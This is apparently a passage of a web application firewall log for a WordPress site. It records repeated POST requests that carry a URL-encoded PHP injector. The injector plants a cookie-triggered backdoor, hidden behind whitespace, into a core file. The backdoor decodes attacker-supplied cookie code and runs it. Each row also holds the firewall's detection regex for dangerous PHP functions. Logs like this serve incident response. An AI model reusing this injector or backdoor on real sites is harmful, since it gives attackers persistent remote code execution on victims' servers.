253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:54:15","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4362\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nxL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:54:17","152.53.138.6","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4362\n\nZD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:54:52","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ms:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4362\n\nMs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%